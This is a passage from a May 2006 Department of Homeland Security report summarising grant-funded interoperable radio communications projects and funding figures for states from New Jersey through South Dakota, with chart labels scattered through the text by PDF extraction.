$2,155,458.00
$11,540,545.53
Total
$30,347,010.97
$5,488,566.37
$35,835,577.34
Current Interoperable Communications Initiatives
The New Jersey Interoperability Communications System
(NJICS) The NJICS is a statewide communication system
comprised of a series of specific interoperable
communications assets established in each of New Jersey's
five regions. These assets include radio cache radios;
interconnect switches; tactical interoperability channels and region wide
interoperability channels. The infrastructure for the NJICS is housed at county and
local sites in the individual regions. Using the NJICS, municipal, county, state, and
federal public safety agencies can achieve interoperability via the radios they own today.
Using G & T funding (SHSP & UASI) New Jersey's communication capability enhancements
include:
• Regional Central Dispatch.
• Regional tactical interoperability channels throughout the state's regions.
• Over 2,000 radio cache
radios distributed
throughout the state's
regions.
• At least 24 radio cache
radios at each county
OEM statewide.
• Radio cache radios are
uniformly
preprogrammed with all
interoperability channels.
• Radio caches include 21
interconnect switches for
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Jersey City
New Jersey State Summary
80
State Interoperable Communications: DHS Funded Activities
May 2006
tactical operations.
• Current NJICS system provides direct interconnect to NYC agencies (NYFD, NYPD,
NYOEM)
NJICS Specific to Rep. Pascrell's District (Essex and Passaic Counties) Rep. Pascrell's district
falls within New Jersey's UASI region (Morris, Hudson, Bergen, Union, Essex, and Passaic
counties). The NJICS in the UASI region is the most developed system in the state and serves as
a model for the other regions.
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
N Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting
Tool (GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
New Mexico State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
81
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
New Mexico Information
Interoperable Communications: DHS Funded Activities – New Mexico
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,608,034.31
$1,608,034.31
FY 2004
$10,793,467.00
$255,230.00
$11,048,697.00
FY 2005
$3,101,961.00
$19,500.00
$3,121,461.00
Total
$15,503,462.31
$274,730.00
$15,778,192.31
Current Interoperable Communications Initiatives
• New Mexico has placed significant emphasis on developing and upgrading
interoperable communications for first responders in the State. Four
significant projects that have been, or will be funded are:
• Eddy County (SE New Mexico) - A VHF Digital Simulcast System which
will provide microwave/interoperable communications upgrades in SE
New Mexico, primarily in Eddy County. Procures a Digital Simulcast System, which
will provide secure digital communications providing the ability for all responders in the
county to communicate securely. Also, because the system is APCO Project 25
compliant, it will allow responders to also communicate in a non-secure mode with those
agencies not on a digital system. This initiative also provides upgrades to the Eddy
County Consolidated Dispatch Center and begins procurement of equipment for the
digital simulcast infrastructure. System will be compatible with the GSD Digital
Microwave Backbone currently being installed Statewide. Funding for Project =
$685,000. Additionally,
funds have been provided
to the Eddy County
Sheriff's Dept. for the
purchase of mobile radios
and vehicular repeater
systems. Funding for
Project = $205,000
• San Juan County (NW
New Mexico) - Provides
funding for a VHF Digital
Simulcast System, which
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
New Mexico State Summary
82
State Interoperable Communications: DHS Funded Activities
May 2006
like the system in Eddy County will provide secure digital communications for first
responders in San Juan County for dispatch throughout NW New Mexico. The system
provides the ability to communicate non-securely with those agencies that do not have a
digital communications capability. This initiative will also support the Four Corners
Interoperable Communications Initiative that seeks to enhance interoperable
communications between NM, AZ, CO and UT. Funding for Project = $1,678,665 (San
Juan County has used $1,500,000 in county funds to support this initiative).
• Interoperable Tactical Communications for SWAT Teams (Statewide) - New Mexico has
procured standardized/interoperable secure tactical communications for certified SWAT
teams statewide. Funding for Project = $922,531
• Statewide Interoperable Communications Architecture - Funding has been requested in
the FY06 Funding Application to develop a Statewide Interoperable Communications
Architecture and a State Interoperable Communications Plan. The plan will build on the
Digital Microwave Backbone System currently being installed in the State. Total Cost of
Project (projected) - $1,500,000
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
New York State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
83
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
New York Information
Interoperable Communications: DHS Funded Activities – New York
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,098,418.00
$3,098,418.00
FY 2004
$82,702,881.00
$2,554,943.00
$85,257,824.00
FY 2005
$54,566,595.00
$2,582,787.00
$57,149,382.00
Total
$140,367,894.00
$5,137,730.00
$145,505,624.00
Current Interoperable Communications Initiatives
The State of New York has committed the
expenditure of $2.05 billion dollars over the next
20 years to immediately engineer, deploy, manage
and operate a SAFECOM P-25 compliant, I.P.
addressable wireless voice and data
communications network. Construction/Development of the
infrastructure is underway now, with various regions being made operational by March 2007. All
regions in New York State will be operational by 2010. The NYS Legislature requires that all
State Agencies participate in migrating their LMR communications systems over to SWN as
each region is built. Local government, County Government, Tribal Public Safety and Public
Safety Entities may participate on a completely voluntary level. The chosen level of
interoperability the Government entity desires will determine the amount of I.P. addressable
communications equipment that the Locals must purchase. We are hopeful to utilize SHSP
Funding in cooperation with G&T to offset some of the local purchase costs during the various
grant years. This was included in our Investment Justification for FY 06 and will also be
included each year until 2010.
Significant transition planning,
fleet mapping, operational
consolidation and training
programs are required for each
interoperable partner. NYS $
2.05 billion dollars builds,
maintains and administers the
statewide infrastructure and
network only.
Homeland Security Grant Program Allocations
$0
$10
$20
$30
$40
$50
$60
$70
$80
$90
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• New York
New York State Summary
84
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
North Carolina State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
85
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
North Carolina Information
Interoperable Communications: DHS Funded Activities – North Carolina
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$1,201,112.16
$1,201,112.16
FY 2004
$42,336,046.08
$1,973,133.00
$44,309,179.08
FY 2005
$30,649,574.85
$30,649,574.85
Total
$74,186,733.09
$1,973,133.00
$76,159,866.09
Current Interoperable Communications Initiatives
The Voice Interoperability Plan for Emergency Responders (VIPER)
system will be fully operational Statewide by FY 2009. The ambitious
project will integrate communications with state and local entities and
is being managed by the North Carolina State Patrol. This will be very
helpful in response efforts and providing assistance across jurisdictional boundaries.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
$35
$40
$45
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
North Carolina State Summary
86
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
North Dakota State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
87
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
North Dakota Information
Interoperable Communications: DHS Funded Activities – North Dakota
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$11,091,610.61
$3,202,690.19
$14,294,300.80
FY 2005
$5,171,583.72
$2,163,431.59
$7,335,015.31
Total
$16,263,194.33
$5,366,121.78
$21,629,316.11
Current Interoperable Communications Initiatives
North Dakota is working to ensure that they have interoperable
communications throughout the state by updating their equipment and
placing towers/repeaters. Their major concern is that with rural nature
of their state. As a result, they have been creative is setting up their
systems.
North Dakota continues to
improve their communications
to ensure that they can
communicate within the
counties as well as throughout
the state.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
North Dakota State Summary
88
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Northern Mariana Islands State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
89
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Northern Mariana Islands Information
Interoperable Communications: DHS Funded Activities– Northern Mariana Islands
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$278,350.00
$278,350.00
FY 2004
$906,000.00
$906,000.00
FY 2005
$287,500.00
$287,500.00
Total
$1,471,850.00
$0.00
$1,471,850.00
Current Interoperable Communications Initiatives
Acquisition of basic/vital communications sytems. (base units, towers, mobiles,
portables)
CNMI has completed a vast upgrade to mobile and portable radios for multiple
responder agencies, improving their communication capacities. They continue their
project through installation of necessary radio towers and repeaters to ensure
seamless communication processes.
Homeland Security Grant Program Allocations
$0.0
$0.1
$0.2
$0.3
$0.4
$0.5
$0.6
$0.7
$0.8
$0.9
$1.0
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Northern Mariana Islands State Summary
90
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Ohio State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
91
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Ohio Information
Interoperable Communications: DHS Funded Activities – Ohio
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$39,291,724.81
$9,406,615.00
$48,698,339.81
FY 2005
$22,836,175.95
$2,470,300.11
$25,306,476.06
Total
$62,127,900.76
$11,876,915.11
$74,004,815.87
Current Interoperable Communications Initiatives
• Ohio has implemented the Multi-Agency Radio Communication
System (MARCS) within the state. It currently provides 800 MHZ
voice and data communications to first responders and public safety
personnel within 14 state agencies. Also, interfaced into the system are
all Ohio County Sheriffs, emergency management agencies/Emergency
Operations Centers (EOC) and hospitals and health departments. The
MARCS is open to all who are interested with over 600 local
government agencies currently interfaced into the system. To date, they have
accomplished 97.5% mobile voice and data coverage per county. A pilot project was
implemented in Union County, Ohio, placing all first responders on the MARCS as their
primary radio system. The pilot was highly successful providing all county users with
greater coverage, clarity, system capacity and full interoperability.
• Ohio has purchased 11 mobile communications vehicles equipped with all radio
frequencies, cellular and landline phones, weather monitoring equipment, internet access
and gateway patching
devices. These vehicles
also include surveillance
capabilities through
regular and infrared
cameras. The vehicles
have already
demonstrated their benefit
during special events,
exercises and actual
incidents by improving
the communications
capabilities of the
responders.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
$30
$35
$40
$45
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Ohio State Summary
92
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Oklahoma State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
93
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Oklahoma Information
Interoperable Communications: DHS Funded Activities – Oklahoma
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$0.00
FY 2004
$15,929,310.00
$15,929,310.00
FY 2005
$14,271,683.40
$400,000.00
$14,671,683.40
Total
$30,200,993.40
$400,000.00
$30,600,993.40
Current Interoperable Communications Initiatives
Oklahoma has dedicated over $28 million in grant funds towards
interoperable communication projects. The major initiative is a multi-
phased 800 MHz project to increase interoperability along the Interstate
44 corridor where the majority of the State's population is located.
Phase I should be complete by November 2006. Phase II will complete
the I-44 corridor and is expected to be completed by Spring of 2007. To ensure interoperability,
all 800 MHZ equipment including repeaters, dispatch base consoles, control stations, antennas,
mobile units and handheld units are capable of APCO Project 25 Phase One standards.
The Oklahoma Office of Homeland Security (OKOHS) has also focused interoperable
communication funds on achieving tactical interoperable communications for the response units
in each of the 8 regions. All of the 20 intermediate response units - both WMD response and
Technical Rescue response - and the
5 large WMD response units -
are being equipped with Tactical
Interoperable Communications
bridging technology. Future
phases of the Interoperable
Communications project will
focus on continuing to expand
the 800 MHZ system and
achieving Tactical Interoperable
Communications, to include
rural communities, using
solutions such as quick response
mobile communications units
and other cost effective means.
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
$14
$16
$18
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Oklahoma State Summary
94
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Oregon State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
95
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Oregon Information
Interoperable Communications: DHS Funded Activities – Oregon
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$8,129,116.10
$8,129,116.10
FY 2004
$22,670,727.00
$671,207.00
$23,341,934.00
FY 2005
$16,358,663.00
$5,584,209.00
$21,942,872.00
Total
$47,158,506.10
$6,255,416.00
$53,413,922.10
Current Interoperable Communications Initiatives
•
Clackamas County: Clackamas County is currently working on an 800
MHZ radio system. The system will provide coverage for highly populated
areas such as Sandy and Estacada as well as large portions of HWY 26,
Mount Hood recreational areas and Damacus, and the newly designated
urban growth area. FY2004 funded the four-site phase II of this project.
•
Polk County: Polk County has been working in conjunction with Yamhill
county on a microwave project that will link Polk, Marion, and Yamill counties. The microwave
radio equipment supports technologies that will be used in partnership with neighboring
jurisdictions to enhance all entities voice radio coverage and to provide for new interoperability
opportunities for everyone who is sharing this equipment and sites.
•
State Police: Oregon State Police implemented an Interstate Hwy 5 Interoperable
communications project. The completed project will provide communications connectivity up
and down the I-5 corridor
(the main and most
traveled route through
Oregon).
•
UASI (Portland): The 5-
county Portland UASI
group is developing a
150MHz/450MHz/800MH
z Radio Interconnect
system and a CAD to CAD
operating system that will
interlink 911 centers and
databases to enhance
interoperability.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Oregon State Summary
96
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Pennsylvania State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
97
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Pennsylvania Information
Interoperable Communications: DHS Funded Activities – Pennsylvania
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$3,816,568.39
$3,816,568.39
FY 2004
$19,230,105.00
$19,230,105.00
FY 2005
$2,465,000.00
$2,465,000.00
Total
$25,511,673.39
$0.00
$25,511,673.39
Current Interoperable Communications Initiatives
•
Beginning in 2005, Pennsylvania, through
the Philadelphia UASI, was the lead state
coordinating the development of a new tri-
state interoperable communications system
impacting the states of Delaware, New
Jersey, and Pennsylvania, approximately a
dozen county governments and the federal government. This state-of-the art system will provide
voice and data interoperability to identify and manage incident responses that cross state and
municipal boundaries.
•
Pennsylvania is completing the roll out of statewide voice and data interoperability across the
state’s 800 MHz Public Safety Radio Network. This network connects key state agency
headquarters and field operations, the 67 county emergency managers and 9-1-1 centers. It also
includes digital voice units at the county 9-1-1 centers to allow legacy first responder radio
systems to communicate with state agencies and neighboring county emergency operations
centers.
•
Pennsylvania is upgrading a
satellite-based interoperable
voice and data network
connecting the Pennsylvania
Emergency Management
Agency, the 67 county
emergency management
agencies and 9-1-1 centers
to include; state health
department locations, and
Pennsylvania State Police
consolidated dispatch
centers across the state.
Homeland Security Grant Program Allocations
$0
$5
$10
$15
$20
$25
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
RapidCom
Participant
• Philadelphia
Pennsylvania State Summary
98
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Puerto Rico State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
99
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Puerto Rico Information
Interoperable Communications: DHS Funded Activities – Puerto Rico
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$254,590.00
$254,590.00
FY 2004
$2,643,393.00
$6,464,643.00
$9,108,036.00
FY 2005
$348,733.00
$4,473,360.00
$4,822,093.00
Total
$3,246,716.00
$10,938,003.00
$14,184,719.00
Current Interoperable Communications Initiatives
• Puerto Rico is in the process of establishing a command post
radio interoperability system that will initially link twelve
public safety agencies and will be further broadened to
include additional sites.
• FY 2004: $4,000,000 to the Puerto Rico Power Authority to develop fiber optic links,
install broadband communication equipment and intruder detection and access control
systems as security for 84
power stations.
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
$7
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Puerto Rico State Summary
100
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (June 05) Interoperable Communications Reports. Grant Programs Included in this
report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State Homeland
Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP), Emergency
Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer Zone
Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
Rhode Island State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
101
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
Rhode Island Information
Interoperable Communications: DHS Funded Activities – Rhode Island
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$897,753.00
$897,753.00
FY 2004
$7,284,752.00
$1,084,418.00
$8,369,170.00
FY 2005
$4,653,276.00
$1,151,456.00
$5,804,732.00
Total
$12,835,781.00
$2,235,874.00
$15,071,655.00
Current Interoperable Communications Initiatives
• Enhance interoperable communications through the purchase of dispatch
equipment, portable radios and repeater system. Total - $178,425.00
• Enhance Statewide interoperable communication capabilities through the
purchase of equipment. Total - $2,503,500.00
• Enhance Public Works interoperable communications capabilities through the purchase
of equipment. Total - $11,100.00
Homeland Security Grant Program Allocations
$0
$1
$2
$3
$4
$5
$6
$7
$8
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
Rhode Island State Summary
102
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
South Carolina State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
103
Office of Grants and Training
Preparedness Directorate
U.S. Department of Homeland Security
South Carolina Information
Interoperable Communications: DHS Funded Activities – South Carolina
Homeland Security Grant Program and UASI Allocations
Interoperable
Communications Equipment
Other Interoperable
Communications Funded Activities
Total
FY 2003
$2,513,817.00
$2,513,817.00
FY 2004
$10,964,346.00
$163,000.00
$11,127,346.00
FY 2005
$3,738,360.00
$267,232.00
$4,005,592.00
Total
$17,216,523.00
$430,232.00
$17,646,755.00
Current Interoperable Communications Initiatives
• Expand the statewide 800 MHz systems to provide mobile data
communications capability to all public safety agencies. Total -
$203,935.00
• Improve the statewide 800 MHz systems coverage to ensure
reliable communications for handheld radios throughout 95
percent of the State. Total - $5,950,608.00
• Improve communications interoperability, security and redundancy. Total - $260,515.00
• Provide alternative, redundant, secure data links for information sharing between county
EOCs, mobile surveillance platforms, command and control vehicles, state dispatch
centers, and the SEOC.
Total - $2,044,958.00
Homeland Security Grant Program Allocations
$0
$2
$4
$6
$8
$10
$12
Interoperable
Communications Equipment
Other Interoperable
Communications Spending
Millions
FY 2003
FY 2004
FY 2005
South Carolina State Summary
104
State Interoperable Communications: DHS Funded Activities
May 2006
Source: 2004 and 2005 BSIR (December 05) Interoperable Communications Reports. Grant Programs Included in
this report: Citizen Corps Program (CCP), Law Enforcement Terrorism Prevention Program (LETPP), State
Homeland Security Program (SHSP), Urban Area Security Initiative (UASI), Transit Security Program (TSP),
Emergency Management Performance Grant (EMPG), Metropolitan Medical Response System (MMRS), Buffer
Zone Protection Program (BZPP), and Transit Security Grant Program (TSGP).
Note: The data contained in this report is directly gathered from information loaded into the Grants Reporting Tool
(GRT) by users as of 18 April 2006. GRT data represents the state’s planned project expenditures based on the
Initial Strategy Implementation Plan (ISIP) and the Bi-annual Strategy Implementation Report (BSIR). It does not
necessarily represent actual expenditures. Project level data was not collected for FY 2003, as such the figures
reported for Interoperable Communications Equipment Funding may not represent the entire amount of funding for
FY 2003. This information is subject to change at any moment per updates to the GRT by users.
South Dakota State Summary
May 2006
State Interoperable Communications: DHS Funded Activities
105
Office of Grants and Training
Preparedness Directorate
